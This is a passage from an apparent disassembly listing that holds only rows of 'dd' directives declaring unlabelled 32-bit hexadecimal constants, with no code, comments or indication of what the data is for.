		dd 76F6507Fh, 0CDB835C0h, 49221726h, 2850A150h,	47A6F78Dh
		dd 0FD6C0736h, 83DEF145h, 8416B9EEh, 23962234h,	4A6FFC3h
		dd 75E9A88Eh, 0E134EFA9h, 0A218DFFh, 0DCBE05D5h, 0E7A8CC23h
		dd 0E27A7300h, 0B0F18175h, 44127B12h, 3B784E01h, 6AD44EC6h
		dd 0B04F99ABh, 26302978h, 0BA906F63h, 7D43AA32h, 80D0BCAh
		dd 0BA14041Ch, 305837CFh, 0DCA54A13h, 64E68B8h,	88616FDh
		dd 4045E0A1h, 1D2C29E5h, 0EE157148h, 0F7039B94h, 17045C82h
		dd 53ACFB0h, 0C49A430h,	0F9534EAEh, 25C8ED31h, 4D779899h
		dd 8D483E95h, 2F6F791Ch, 5758FC5Ch, 0F9A0C68h, 0D828737Eh
		dd 57011295h, 0E989A773h, 98FED8C8h, 11863876h,	0A739EE4Bh
		dd 0F633EA2Bh, 817140E9h, 0E8555967h, 1266C84h,	77FFE2D1h
		dd 0AAA11E2Bh, 40B3F012h, 0E44AE94Dh, 0D55BA9C2h, 0E6024516h
		dd 21301865h, 729677FEh, 0F245D49Dh, 0E1709D05h, 4B42685Bh
		dd 3069DDAAh, 69400174h, 0CC681659h, 0D3DEB7Dh,	0C197396Eh
		dd 5282EC3h, 2DB6F680h,	5DC2F9E9h, 0B38F075h, 0DED75533h
		dd 86886A56h, 2E52491h,	12DF70Bh, 0F397306h, 0FB7B02BFh
		dd 0C07C1D16h, 69D75254h, 0A34E2EE9h, 0A22006DDh, 8F2312C1h
		dd 865FD51Eh, 562F28F8h, 0D2D97C54h, 1BE90610h,	5EBB8D5Ah
		dd 0A1F013FCh, 959A6AAAh, 32678C1Ah, 29B06DF7h,	84C70B89h
		dd 2687187Fh, 0FE569DA4h, 48EDF25Bh, 78EB8076h,	0A5843019h
		dd 0C09AF611h, 0AF03EE3Ah, 27FE51DEh, 89069014h, 0C9BAE9DAh
		dd 21C50567h, 12F387Ch,	5F12CAA8h, 8D5EEA55h, 6E87F500h
		dd 98896735h, 0AC4D2FC6h, 6E587729h, 0BC2C2E2Dh, 455A4BD5h
		dd 8B90A5BDh, 9B5438Ah,	30607768h, 9D27BBA0h, 0BAA4DF65h
		dd 3CB89016h, 520B68CEh, 5CC93257h, 306DC587h, 0FE6B22ADh
		dd 0B75A3E7Bh, 0C05BB382h, 0B9281D96h, 73570E19h, 0B835BB17h
		dd 54E41A9h, 0FB52A47Bh, 0F2193429h, 0A52EAC7Eh, 68DCC0BBh
		dd 6597788Eh, 2F15213Bh, 751346D8h, 4FA83329h, 1C5D025h
		dd 971C908h, 0BAF8CF80h, 0C7020876h, 5BF92877h,	45735E30h
		dd 0E088FE81h, 90F44ACFh, 0FC05C982h, 48B5F8B8h, 2F65043Ch
		dd 23423AEBh, 97F63477h, 0A2123D93h, 35EBE055h,	0C05113CBh
		dd 2915059Ah, 0C801D338h, 9E6809A2h, 8947F95Ch,	145C4676h
		dd 0A57DC161h, 9CDF870h, 12F665ABh, 0C4DD4807h,	0EC7EB90h
		dd 5AEE11D1h, 12071883h, 0E990D855h, 4EBDA983h,	0DF8AA2F4h
		dd 0C90BF66Ch, 80542976h, 0B116D141h, 0A60CC62Ch, 0E93F7263h
		dd 5F32E97Bh, 0DB2D33E0h, 5C205900h, 3DDC1235h,	2978BDD4h
		dd 7779902Dh, 0A9FC1C96h, 37A24B5Bh, 544E78h, 2FB9BE85h
		dd 95B06827h, 0BC8B75Fh, 0A8A45A71h, 3A8FA00Fh,	814201F1h
		dd 0C2213CE1h, 51BC3A79h, 0F8541474h, 0F906DE4Ah, 0C514E2Fh
		dd 0B1F01401h, 0E38EE9AEh, 48BA6283h, 0F8029357h, 590EECC2h
		dd 8550C26Dh, 52C53705h, 571653B8h, 12681609h, 0C33F0482h
		dd 6B74EBF0h, 662447B5h, 0F5BA449Eh, 7A627697h,	0E3FD0613h
		dd 0F3C12ABh, 0C15C24FBh, 51547EFh, 35164D5Eh, 2BA9152h
		dd 71061E0h, 0F8F36740h, 0CF205881h, 31C9A881h,	25F9B86Bh
		dd 2BD9A811h, 46F2D3Fh,	0ADAF2926h, 567AC135h, 1C8A780Bh
		dd 81DEAAE9h, 28E4C480h, 34AEE9E5h, 0E224C112h,	321E1902h
		dd 9180489h, 0ACC8D971h, 74D702D5h, 0F1FE3970h,	191BC708h
		dd 0C0443859h, 6EF810C0h, 6805C296h, 0A2D90B29h, 0FAF0953Bh
		dd 0B065EDC0h, 0A3595B61h, 8BAA8493h, 9FC5540Eh, 0F228EB8Fh
		dd 2C089503h, 0EA20891Ah, 57B62B94h, 0E8BB538Bh, 825C2956h
		dd 29E9241h, 58DC745Bh,	0BE9EEA88h, 0EE25ED42h,	2731B020h
		dd 0A954A7F1h, 5A0CD94Ah, 955786BFh, 30559FC2h,	9EF1D681h
		dd 5B18C2EAh, 24AF6757h, 0D0681773h, 0B163CDF5h, 0D9011517h
		dd 8E6F8006h, 228DEE3h,	7ABB5E32h, 9BE12E40h, 76F755CFh
		dd 6860CCFAh, 6102CB31h, 417BF8E6h, 212D2786h, 2DC42A3Bh
		dd 899F4431h, 77E3B900h, 2974AB0Bh, 0B90D5CAh, 4F0955B8h
		dd 0DD480E61h, 6CDF6F22h, 0A3DF989Ah, 2A83B74h,	477BF273h
		dd 0E1DDBB57h, 0A7425150h, 0DE860227h, 0BE010DE1h, 4842130Ah
		dd 0B0BEEC94h, 0DDF856D0h, 290489BEh, 0D9BE58C1h, 0F5D74200h
		dd 5238055Dh, 914A70CBh, 13EB3BEh, 0CF705357h, 6ABE817Ah
		dd 0F12B4DF5h, 0A0F601B6h, 0BFDE50B0h, 60E96BAAh, 147E2143h
		dd 5FC26A4Eh, 7ECFD75Ah, 4290C4A2h, 0D90A429Dh,	0CAFD5A75h
		dd 0C2C575B5h, 0F1ED8B1Fh, 1C5D490Ah, 1DEE955Fh, 43C4565Ah
		dd 17E14AACh, 2A337E28h, 29E9D41Dh, 7D9E6E10h, 0B7534B0Fh
		dd 70F9C913h, 0AC68158Eh, 4D3381Ch, 0A2E85FABh,	0C0B01711h
		dd 0FE01CAEDh, 97E9585Bh, 6BEE34F5h, 1D4A3916h,	3F3A5DFFh
		dd 187222A5h, 0BC3F880Bh, 0A7455F70h, 949AEF09h, 92FC9F04h
		dd 47C5E9E1h, 0D304AF22h, 0C7037B28h, 51168CB7h, 54E1882Fh
		dd 0FB661221h, 2881EE6h, 54F68041h, 0C07EF13Bh,	0F52FE9F3h
		dd 0BF5F199Fh, 8724EE28h, 0CDF30BA0h, 0CFDC485Fh, 7352ECCh
		dd 24180BE6h, 910286D1h, 5F41D60Ch, 1AC6B985h, 0B60F1C08h
		dd 0F2788593h, 0C04A3FC3h, 772C16BDh, 0CD8600DCh, 43865A0Bh
		dd 7E41E5B0h, 2627447Fh, 7931FA8Ah, 0FA04AC3Ah,	0AE2BBF29h
		dd 72B35E04h, 9A10530Bh, 0FF82DEE2h, 0DAD77A81h, 0D4106C86h
		dd 40913BF1h, 13922E68h, 48AEC093h, 0A8966628h,	71FEE501h
		dd 5C3D6E5Ah, 0B0D74D2Ah, 0F05F52CEh, 6685181h,	78393308h
		dd 0C1665E0Bh, 25D28757h, 141E6A9h, 7AAC6F79h, 93ADC6E9h
		dd 39BC514Eh, 18F82500h, 1F0932B9h, 50F2248h, 384D55EDh
		dd 80394A5h, 0F634025Ah, 4209702Ch, 0F4E25BE0h,	6CFB0E05h
		dd 0A509D2F7h, 7D14FD59h, 75D55427h, 5DE515AEh,	0D72FF853h
		dd 855BC4AFh, 4BE0FA3Eh, 42012D18h, 880C5F2h, 0D6A848E9h
		dd 0DE4A8958h, 0EF56BF28h, 7B97687h, 3558720Bh,	5029068Bh
		dd 1B375C82h, 2897B8D7h, 125597D7h, 0BE0B410Ah,	96BF6F64h
		dd 5163A73Dh, 0A9A1205h, 8EFA11F5h, 0F2624B87h,	5B65FDEAh
		dd 533055ADh, 41825E5Fh, 0C7C5FE33h, 67F0CFCDh,	418D3A2h
		dd 0FAEEB977h, 0E66020F6h, 49262D5Eh, 6801920Bh, 0BA307565h
		dd 0A25461Ch, 6374009h,	0D12D14E9h, 8E05B6EDh, 0B83C046Fh
		dd 5B1B3C49h, 769DB3A4h, 9A3AEF88h, 0E45628ACh,	0C466F409h
		dd 0A8100033h, 97745851h, 2813254h, 0BEADDEB4h,	91F56F8h
		dd 0A3EE90Ch, 7CA7FC56h, 800334A5h, 185E990Ch, 6B0C0261h
		dd 1364A70Dh, 0A8F317ACh
		dd 0E969F005h, 6A0F3525h, 36676049h, 81BBC0FDh,	0E257F6F3h
		dd 0EB046990h, 3FD867D1h, 56986F80h, 4129F8FAh,	0D20807D9h
		dd 0F9F77CEBh, 2CC6ED0h, 0FEB5FBB4h, 357972C0h,	8CA2F4EBh
		dd 0B13C61FAh, 3F2A9E58h, 6420C167h, 0D14925EFh, 0FE07E275h
		dd 77A208C5h, 6A5CBD00h, 4560F4Bh, 7F1144BEh, 2965E051h
		dd 78F9E971h, 0CB09091Fh, 68F5D459h, 164426D1h,	0E3EF87DEh
		dd 0AA845ED2h, 9AF6A7ACh, 7DDDA22Ch, 0FCBA6683h, 4A95A54Bh
		dd 0FDC20181h, 0C6912ACh, 21D49F3h, 2CA113C4h, 58ECE7C5h
		dd 0B82F5155h, 5FE9A886h, 5084007Eh, 43F6856h, 5E37361Fh
		dd 0D2E50B49h, 0F8025FD9h, 79661104h, 1A69127Ah, 1501EAC2h
		dd 0A0B15B1h, 0F500467Ch, 989AB5FCh, 0E912E889h, 0F54488E7h
		dd 0A8E45CABh, 0E44F5A38h, 64E38C7Bh, 12053BC8h, 0D3215BE8h
		dd 2E7F6BBCh, 40CCA104h, 7B322086h, 0A2FB0128h,	21E90880h
		dd 3D039F3h, 3A8B7549h,	289E064Dh, 0CA10DF26h, 0E9500504h
		dd 0F7F2AB85h, 622DFD58h, 844EB4D2h, 17353700h,	0F483D158h
		dd 5D8A404Fh, 2988819Fh, 0C23F2AC0h, 0F9FD2FF9h, 2586494Bh
		dd 5B6455BDh, 0BD169AFAh, 0A8E0793Eh, 0A269FCBCh, 0ADC7EDDh
		dd 9932832h, 250F576Ah,	0D3133E0h, 417FD8EAh, 383C6524h
		dd 431601ACh, 0E00F8B87h, 1B45051h, 2CDB7DB1h, 0C74A1A88h
		dd 1CFDD007h, 5714E681h, 10C19A2Bh, 0BB01BCD0h,	3D721779h
		dd 0E1C96E53h, 0C3C80BB1h, 0F2778948h, 0F5545Eh, 3CECE181h
		dd 7EBD132Ch, 6C051DF4h, 0CD678763h, 316DC43h, 0CC0206D2h
		dd 0C01822C9h, 1504929h, 532E3CB8h, 0F4123543h,	17B80FD9h
		dd 46851741h, 870160C3h, 6AF0C260h, 42AF65D1h, 0E7ECFD8Fh
		dd 0F8A008B1h, 0A5DA2CFDh, 271255E9h, 8B50F88Fh, 0E4530257h
		dd 27BBF21Ah, 4D43072h,	70DDF273h, 6F596977h, 0D765D58Fh
		dd 3767BEBCh, 3F6E7F3Bh, 499AD9BDh, 3BC93286h, 7AF0BA18h
		dd 0D6EC128Ch, 0E517AC14h, 0FDA95482h, 296992DBh, 816C5705h
		dd 5150FD73h, 955C06A8h, 713D6CBh, 0DD105CCBh, 819E4C1Eh
		dd 0F03007B6h, 0ECF677E3h, 0FC7FEF08h, 700DB132h, 35AA0500h
		dd 2D388201h, 34472E63h, 0C3AF987Eh, 9C4DE9Dh, 0EC57D1D0h
		dd 61681CFAh, 945D2515h, 69A3B608h, 235A6DDFh, 0A9E90A8Eh
		dd 0E8C080FFh, 61B35303h, 3260E1F6h, 1355C641h,	0C0F60F8h
		dd 80089CB0h, 0AE60E917h, 0D1B720AEh, 0F62E81E6h, 0AA00EC02h
		dd 472AB605h, 0DB50B708h, 245E0781h, 0C2DE956h,	3810DDB4h
		dd 612F1C5Fh, 629CD539h, 0E8E2794h, 2CAF1776h, 259B53A9h
		dd 214832B8h, 0DDD155EBh, 0A49DBE62h, 68028BE9h, 7E7E3D32h
		dd 560754EBh, 5D132E69h, 5DCB61D1h, 6420FC46h, 0CEBE1C87h
		dd 9C76AD6Fh, 0CD05AC26h, 0B17B951h, 0BA6820BAh, 0CA4F6460h
		dd 0F1018FA8h, 0D166F353h, 907B20EAh, 3558704h,	0B8BAD029h
		dd 7D350041h, 486A6805h, 55C8012Dh, 32E9BEFCh, 36307F6Bh
		dd 97718268h, 0B8979567h, 7B684BC0h, 383C9341h,	0A8092D44h
		dd 853DDA72h, 70B053Ah,	59099951h, 7196056Ah, 5090E62Ch
		dd 81806224h, 17180BF7h, 2B5E5552h, 38256504h, 22946C2h
		dd 0B05DF520h, 802271AEh, 100B6853h, 5D67C26Eh,	17C48901h
		dd 0B3803F88h, 5E783EBBh, 16EE35F6h, 512DBE33h,	5C30BF00h
		dd 4B1E4814h, 11157402h, 0D960414Eh, 3F060A13h,	0C1834930h
		dd 4C47E6B4h, 0B84AA4B1h, 626325EDh, 7D428960h,	0E9C326FBh
		dd 7E03FDFBh, 8C60286Ch, 319B91BFh, 4CB86E73h, 90C5EA9Ch
		dd 71669D17h, 5EBA5B4Bh, 0FE00BAFDh, 686F34C8h,	0BAB91130h
		dd 0DF64B789h, 67512205h, 800CC085h, 68124FC7h,	0D9F329FDh
		dd 0FFC30E16h, 0B2613E91h, 9E798C6Bh, 5DFE597Fh, 741CD597h
		dd 0A59CD195h, 948C4C75h, 2FECB53h, 4EA5E9F0h, 0C4C5EC9Eh
		dd 0A916D599h, 68F10450h, 9CBB4A5Ah, 5740F37Fh,	93899F29h
		dd 46A74F54h, 25948Ah, 4E57518Dh, 0E916EE89h, 7A4E6D75h
		dd 0A83EE4D1h, 3A9F49BAh, 0C680D474h, 0B8D02766h, 0BACE4A29h
		dd 204A089Eh, 44BCEE34h, 2972D112h, 806A6E1h, 7EA32D60h
		dd 934A9E5Ah, 0D808DF81h, 9FA0C7F4h, 5845F074h,	0FC924EE9h
		dd 0F711732h, 0E9B184F8h, 0BED62AFEh, 312EE4FCh, 82345CF8h
		dd 0E021946h, 0F996FD31h, 0A865719Fh, 0BB11247h, 0E3F1026Dh
		dd 67E04B07h, 6A033206h, 66A5254Eh, 3DE990EFh, 5CE6B5CFh
		dd 72A87EB5h, 0A5FDA22Bh, 0E14712F0h, 23F2F8BAh, 0E881600Bh
		dd 14A02F49h, 506BA75Dh, 72E5B6BFh, 31B29C3Bh, 377593E6h
		dd 0F556160Bh, 9682F765h, 74E44BBDh, 46FC8627h,	97C8FE04h
		dd 56CF0148h, 0DE6A7582h, 21BD85Dh, 0E8A1C518h,	0BADC49E9h
		dd 74053FBBh, 5E42D509h, 0AA1D8044h, 0F9693E36h, 8FEC72FDh
		dd 0B8E09711h, 5D38F060h, 6D24B168h, 0E07973E3h, 0FB5BE40Eh
		dd 9350CB5Eh, 9099EC5Fh, 0B2879A38h, 587A94B5h,	145B3568h
		dd 0BBB2CCh, 5E2A4D06h,	0E608E946h, 96DEDBC7h, 541966F2h
		dd 858AC07Ah, 0D05C31FEh, 0BE50E36Eh, 167C7C7Bh, 80CAE96Ah
		dd 5B82B81Ch, 314F2114h, 0E21F1AB6h, 50D45718h,	0D0C1025Ah
		dd 0F983E9A3h, 0B7166DB1h, 5E9D3B89h, 5246922Ah, 0DBD6075h
		dd 0B257A1Bh, 0DAF75EF2h, 0FC090658h, 8710720Fh, 0BC52B03Eh
		dd 1487F2Fh, 933C4989h,	0E9DF0B43h, 954CD2E6h, 9631F068h
		dd 2CBDC330h, 5BFB64C1h, 0B810FF79h, 68E90B08h,	2D7121A2h
		dd 3CF54495h, 9E9D5BECh, 0F00BEE95h, 3D2C5F30h,	20E1B0E4h
		dd 69C3CEEh, 0D86963AEh, 4B1625E5h, 0BF81C059h,	1365385h
		dd 3B6B1C60h, 55048A6Ah, 0F727C4E9h, 40EE4BF5h,	96790561h
		dd 311A8D08h, 0F26A58C6h, 95EAEC34h, 0F2018D48h, 0D766E92Ah
		dd 80C26097h, 533609E6h, 805D5FB3h, 87AF3A9h, 0E75B78DEh
		dd 4B67816Eh, 0B4836030h, 0BB72A060h, 48B020F1h, 13739639h
		dd 0A829F76Ch, 0BF5BABh, 5991C160h, 0E412FA35h,	0B5BE3E8Bh
		dd 7279206Dh, 0AC79F582h, 0D8418469h, 2A600713h, 0A9979451h
		dd 217D118Bh, 0C9231851h, 0C316E880h, 520BBD35h, 0B36C94Bh
		dd 271FF4BBh, 0B5F01455h, 18C478D6h, 1E685001h,	0A3603A25h
		dd 810573E9h, 0FC3E5D5Ah, 49DD42EFh, 71140353h,	0D15F0A15h
		dd 5600EBE7h, 290EFC91h, 95E977FBh, 0FDF6D30Bh,	2198A12Eh
		dd 5ED30117h, 9527FE5Ah, 0CA65D5E2h, 0A8DA01DDh, 0E360DC30h
		dd 28E34B28h, 0E4A68813h, 0D88A42B7h, 9FD1F2CBh, 0CF409D06h
		dd 0C001629Dh, 128BC2B2h, 165854Ch, 606CCA1Eh, 42BF35DDh
		dd 7F840C8Ch, 0FB94AAC2h, 2F3780EBh, 0C45F51ADh, 8BD257AAh
		dd 9327162Fh, 0F9DEC149h, 7B98BE21h, 3D68DC98h,	0E5766458h
		dd 0A80A13BBh, 0F3EBA504h, 53DFC4C3h, 0AA9255B8h, 0C1DE4244h
		dd 7665905h, 570AA8CBh,	0AF18D297h, 1C8987Fh, 6F7997EAh
		dd 66E2C56Ah, 0EEC1010Fh, 5EFBE007h, 0DCE48894h, 0B02D5C90h
		dd 3A00065h, 128E055Ah,	65DE462Ah, 82A5059h, 0D038005h
		dd 1E50F66Bh, 49255EB7h, 874DE075h, 601C283Dh, 5B3800D2h
		dd 0D331AC37h, 2A95A6E9h, 77491B01h, 96FD320Bh,	7CB11F1Eh
		dd 6E702504h, 2105619Eh, 44FF5DEFh, 132537DBh, 0B20424B9h
		dd 81EED0D2h, 2F353D4Bh, 10FFE713h, 593F08BCh, 299D4CF9h
		dd 8607D26h, 580201B1h,	0C616EA68h, 4E17F044h, 0B02EFC34h
		dd 99BEE4E9h, 80730155h, 6F2872F6h, 11C0FA8h, 0E39FFDFEh
		dd 0A3CB81BBh, 535F0D68h
		dd 0B3C9532Eh, 24F9336h, 0AC62121h, 56042F26h, 0EF61BC39h
		dd 161A8D01h, 0F38742CEh, 0F07844E9h, 34E76845h, 79812FAAh
		dd 0D41A7ECEh, 1F0485BAh, 0F2313DF3h, 599432F2h, 0A0470312h
		dd 5317C73Ah, 2700BC20h, 0F363C4EFh, 0D449032h,	5F6F612Ch
		dd 12496024h, 71093024h, 4BB8712Dh, 3C6BC700h, 40026205h
		dd 9832672Dh, 0D7616375h, 1607D680h, 0C20927D5h, 3C3FE150h
		dd 0E0372DDDh, 5438E998h, 43C88963h, 6F2D6D2Eh,	26E9D9E4h
		dd 0A03B8217h, 0D19AA38Bh, 24206E96h, 0BF58ECCFh, 0A0EC78F4h
		dd 65211697h, 4089E156h, 781EA268h, 10390848h, 6802D56Ah
		dd 48AB54E2h, 1E884DDh,	9FE95741h, 6658003Eh, 94305852h
		dd 0D063236h, 8B09E912h, 68511340h, 0B76C3D36h,	24F10F00h
		dd 8602148h, 0F374270Ch, 9C52957Bh, 2A34C251h, 5CD12AA0h
		dd 0AF5031E2h, 6F670295h, 5AD031FCh, 0FB38EC74h, 0B2605995h
		dd 0F97DB57Ah, 5F726B6Dh, 0F221EF07h, 3404E915h, 0F0FE8707h
		dd 511473F6h, 4B68130Bh, 0F25F303Bh, 32E3042Eh,	0A20C5CE9h
		dd 53C90EECh, 440A534Fh, 9E2407F5h, 67BCE644h, 0D3DDBD38h
		dd 5DEB3103h, 21F9DE29h, 22FC3E64h, 0C186B8B0h,	9AE1312Dh
		dd 55D3852Dh, 813C64BBh, 5302F4Dh, 0EC8B0BEFh, 0D4F70763h
		dd 5B55E0E5h, 1B37594Eh, 410D71EBh, 55677F68h, 88D4102Fh
		dd 82CA7131h, 848D3A88h, 0F2378820h, 0F1292475h, 0BF0820D1h
		dd 0D62F257Eh, 517D5AE7h, 0F98BC70Ah, 0B0BA3E77h, 108B9D50h
		dd 4BE46D7h, 6A5244B9h,	586AC127h, 0F48A25F3h, 2825ECB5h
		dd 5AFE54EFh, 888E5E79h, 2CEA57F9h, 30095B26h, 795A66F7h
		dd 162CB53Fh, 0F5352D6Ch, 81436EFCh, 0CB5359CEh, 5BD9D8F3h
		dd 97F7FE5Ah, 800104CCh, 0CF8601E9h, 0E460C7FEh, 0DB94B53Ah
		dd 0A2425C29h, 0DC0271A4h, 577A442Eh, 0EEB1391Bh, 561992D9h
		dd 2F27F780h, 6D21571Ah, 1E0B0448h, 0C9618D7Eh,	48A36A4Bh
		dd 0B5F38986h, 808CE92Dh, 5D52BF22h, 68560B4Dh,	0F7C63A6Ah
		dd 462F6507h, 0E9374E78h, 7CF23895h, 52DEAE4Eh,	4D45680Eh
		dd 66B7AE13h, 0D60AB95Fh, 0A4E967BEh, 0E6800233h, 0D0ACE196h
		dd 9EC6B9D7h, 0B42CB5FCh, 556D8136h, 82D16163h,	4015C489h
		dd 8268400Bh, 8B053AC0h, 0A891F793h, 6E1AC460h,	6455CEAFh
		dd 8AE8091Ch, 0B9F4E2E7h, 930BCCF3h, 0A82A5163h, 77F02CEAh
		dd 1583C07Ch, 813D7301h, 0A84200C9h, 6E1C12Fh, 2ED52DE9h
		dd 754681C9h, 1CD8828Ah, 0D516F17Dh, 63202C50h,	9B0CC4A4h
		dd 4D6D013h, 0D03A28DDh, 0F12D7C2Ch, 20B09E6Fh,	40C90299h
		dd 804470E3h, 9B4BC5F7h, 0B852C8Bh, 0C7D038Ch, 14788ABFh
		dd 0A901965Ah, 3F071926h, 102FB5D0h, 73225D69h,	5C115A1Fh
		dd 5E16E101h, 0BDEC3459h, 0C691C07Bh, 45C8060Dh, 29270C9Bh
		dd 0F379052Fh, 188FB2AFh, 353A58DCh, 27E3984Bh,	1B5321F7h
		dd 0B5CE833Dh, 3B4E0235h, 0E3BB122h, 859AE912h,	71C2BF6Fh
		dd 3672DFA7h, 485B5C5Dh, 78AB4A55h, 4E4B77EFh, 7D55198Eh
		dd 0F1E2B87Fh, 243E16E4h, 4DAEC2B5h, 5C4F1550h,	24687AA0h
		dd 6A8B096Dh, 1B1800DDh, 9F056328h, 5CE8743Ch, 2FF0F66h
		dd 0F74F8212h, 72ECC0DFh, 0B7025E4h, 0C09DBAF0h, 0ACC789F2h
		dd 0FBE9278Eh, 75B16AC0h, 0FAC18009h, 0DC380EC0h, 0B75321C3h
		dd 8DEFE07Ah, 0BAB03050h, 0E7C05A12h, 0D4BE064Ah, 0BE5A8458h
		dd 0DC09B8A1h, 8A10F2Fh, 565116B0h, 7ADAD809h, 78A4203Ch
		dd 3025527Ch, 941477B3h, 87208BB2h, 32F19899h, 280C85FAh
		dd 727DB262h, 0BDD0FA90h, 84DC8A62h, 53CC9F56h,	0E6783E03h
		dd 88173571h, 129675D7h, 0BF1303E9h, 0E2CB4E73h, 5D485D57h
		dd 0D0BD4DF4h, 0B7763035h, 7DB4BAC0h, 0D6204C2Fh, 0A89E40E2h
		dd 89170945h, 0DEE55AD3h, 0E4B7217Ch, 83A8AAEBh, 1B640DC6h
		dd 0D058C52Dh, 56B776h,	0EE685084h, 2E57A5FBh, 68033CAAh
		dd 0ED0A2825h, 20AC280Bh, 0C7F88C70h, 32E49E09h, 0FEE2D7A9h
		dd 4CACB442h, 5D9753ECh, 709D4396h, 74321D38h, 0CA81995Fh
		dd 0EEA87107h, 43D6277h, 0C6905D07h, 907C0315h,	0BD6C2DBFh
		dd 0B7871E57h, 144F9D64h, 9D5311F0h, 5B510EFEh,	0D58BE47Bh
		dd 64E32EFDh, 7853E9C2h, 0D9BC535Eh, 6EBA80F0h,	2F080D5Dh
		dd 0BB0027E9h, 7778F2B8h, 0E0051701h, 257D8271h, 0B1360CCh
		dd 6D47E90Dh, 6ED4AD72h, 1F007BD3h, 1B052EDAh, 0D3D125E0h
		dd 0C2F3A412h, 0CF15AC1Fh, 82A82916h, 3F200841h, 0E2BF4B87h
		dd 93247803h, 0AC942FCCh, 0E373258Dh, 58E2A8D6h, 774E1F1Ch
		dd 34F2034Ah, 83D4077Ch, 8806063Fh, 5157E7EDh, 49229868h
		dd 3037B479h, 0B9983C3Ch, 68C1D963h, 38D9940Eh,	0D7A57EFCh
		dd 102DB81Eh, 892FB812h, 0DAC499D1h, 187F3DF0h,	8455147Ch
		dd 2A2760ECh, 1B582Ch, 0F197035h, 64B70547h, 5B7C062Ch
		dd 0BC9F613h, 9765FCE1h, 59CB87EEh, 0C9FED9F1h,	0BE38A2F4h
		dd 1DA98C11h, 14F6BD0Ch, 0E5643564h, 39BDC1AAh,	7A3CC94Ah
		dd 12C2CCA0h, 0FEDE5106h, 0B9E01D04h, 444F2FFh,	1EA6096Fh
		dd 30E98BB0h, 0B2589410h, 0DA0BF648h, 0D15AF568h, 0B564937Eh
		dd 25C34144h, 10286A06h, 0F8BDA358h, 98BC47D9h,	0DCE68390h
		dd 127E9210h, 0F122542Dh, 0B15E3C70h, 9C3E92CDh, 0E5A088D6h
		dd 2AE14081h, 489963BFh, 128FA7B5h, 1F5A5AABh, 2DADFE5Dh
		dd 0EB8968D2h, 744FAD10h, 44FF5B26h, 5ADAD7Dh, 7A76640Fh
		dd 822C37C6h, 0A5725408h, 2D2D945Fh, 117DC04Ch,	69E61BA9h
		dd 25C6394Bh, 3399FF34h, 9832ABF8h, 0BFEAA05Ah,	4A29090Dh
		dd 4F7092Ah, 3A269E8Ch,	35535724h, 95765A02h, 85B06223h
		dd 2BA0D910h, 0E1BE54h,	0B724CB2h, 0A292DAF7h, 0B9202A98h
		dd 0D8301B56h, 0C4DA8752h, 290B46FCh, 0FF948BEFh, 7F0C732Dh
		dd 135D7FE4h, 892A7AE9h, 57E53B0Ah, 924C4822h, 2FECAB22h
		dd 0DB0F3D38h, 4FBA89F0h, 405CE476h, 4A5B52FEh,	0B0D6EBEDh
		dd 0B4BD5104h, 0F144B561h, 5ABEB4h, 920F6B9Eh, 0A9315E44h
		dd 0D8E88B27h, 0BB5B954Fh, 39DD1425h, 0CF24D188h, 0C2D71DC3h
		dd 62F7E9FAh, 0FD5817FCh, 2D271555h, 8419B01h, 16BB8B2Fh
		dd 94ABF916h, 5EC4BA5Bh, 0BAF4B3ECh, 7981BBE2h,	2A138F0Ah
		dd 0D651CDF9h, 7337EC2Ah, 0CA332673h, 482D0CF8h, 0F9137CC6h
		dd 7249EC5Bh, 3B11A5Eh,	94756AAFh, 13DCB7BCh, 0BF44DAF0h
		dd 829EA1A7h, 0D30684D4h, 6969F04Ah, 180D1049h,	5909410Bh
		dd 74B600A5h, 66CE05FEh, 2046B968h, 20C9B3C1h, 9BFDE4Ah
		dd 0D9040194h, 9BB90005h, 48651521h, 0F3072949h, 673B8210h
		dd 0BE7C91F1h, 1675204Fh, 99D2931Ah, 0C1505524h, 7A17709Fh
		dd 0E9699632h, 7025D773h, 0E9531373h, 0BECB45F8h, 2D6AB10Bh
		dd 0ED49F3Bh, 0D6C2250Ch, 23E985D0h, 12B2EAB9h,	0A348E517h
		dd 7294B6Dh, 457F7A40h,	0D13117E5h, 20EAB1E8h, 0EC9803C8h
		dd 848F2A28h, 0D6E77025h, 60D142F1h, 101EA45Fh,	1388A1Eh
		dd 5BDE84D2h, 0AE2E8431h, 0E06E961Eh, 0E85CB80Ah, 1E3FD953h
		dd 8B8E452Ah, 5511717Bh, 0D4D03918h, 4B8E49FFh,	83116F6Dh
		dd 0A62BD231h, 1BB31887h, 55AE653h, 0F725172Ch,	0A8AC06DEh
		dd 7EBF164Bh, 4EEB4351h, 1099EF06h, 4AAC2BE8h, 0B215AD4Bh
		dd 0ACE90133h, 0DD9C5382h, 8EDCEDBAh, 2C53C025h, 9D15F4DAh
		dd 895DFE81h, 0FDBE3D3h, 335B2409h, 0C3F564Fh, 0BB148CE2h
		dd 0A7F90104h, 0B3AB31E0h
		dd 0BD550079h, 4CC95929h, 0C7715AE9h, 0EE578434h, 904BB6B9h
		dd 0BA2F9C11h, 0EB005176h, 7B822A36h, 9AFCB2E9h, 2C62D4Bh
		dd 207A9ED5h, 5C97F138h, 323E2764h, 0D5BCBF90h,	53A2BF01h
		dd 0F12F3D0Eh, 0E7202117h, 90BD1A04h, 0A8807741h, 7EE523C5h
		dd 84FF9561h, 5509AA38h, 18E7DD84h, 9C04173Ch, 51C1608Ch
		dd 29FA69BDh, 0C1F98E4Ah, 0B858C5C4h, 0F75CA2C7h, 0AF4AF004h
		dd 0DF218E99h, 5F7E68C8h, 3A77A86Fh, 0C1390563h, 40BE06E7h
		dd 60430B1Ah, 9E24E923h, 0C3426390h, 99E6DD98h,	714804FEh
		dd 4505D2FDh, 21EFD6C5h, 529B371h, 2D0446E2h, 0EA6EB050h
		dd 0CB3377C7h, 8011D851h, 0E1A35EE9h, 69D6D401h, 58325F95h
		dd 64FAD1D5h, 5E14A302h, 0FFD642B2h, 0BD917591h, 0D3E80004h
		dd 4179F960h, 206B03F8h, 1A3F644h, 143D8E31h, 0C8303B89h
		dd 28913357h, 0E692974Ch, 5114010Dh, 46E9441Ch,	0EF859675h
		dd 2F0CE004h, 0F4082C07h, 6186A1AAh, 97F96A19h,	660EB0B6h
		dd 810A28BAh, 464CE281h, 0CF20A84h, 8DC20202h, 5AE20B36h
		dd 74FCB389h, 5B048B0Bh, 0FAE9E19Ch, 7FC03552h,	47D1FEC9h
		dd 8080BD62h, 0C8683DF1h, 0A3D2094Bh, 0AF2904B6h, 130D4CB4h
		dd 4899A5Bh, 1447099Dh,	0FF007D8h, 0D0B2681Fh, 262B5141h
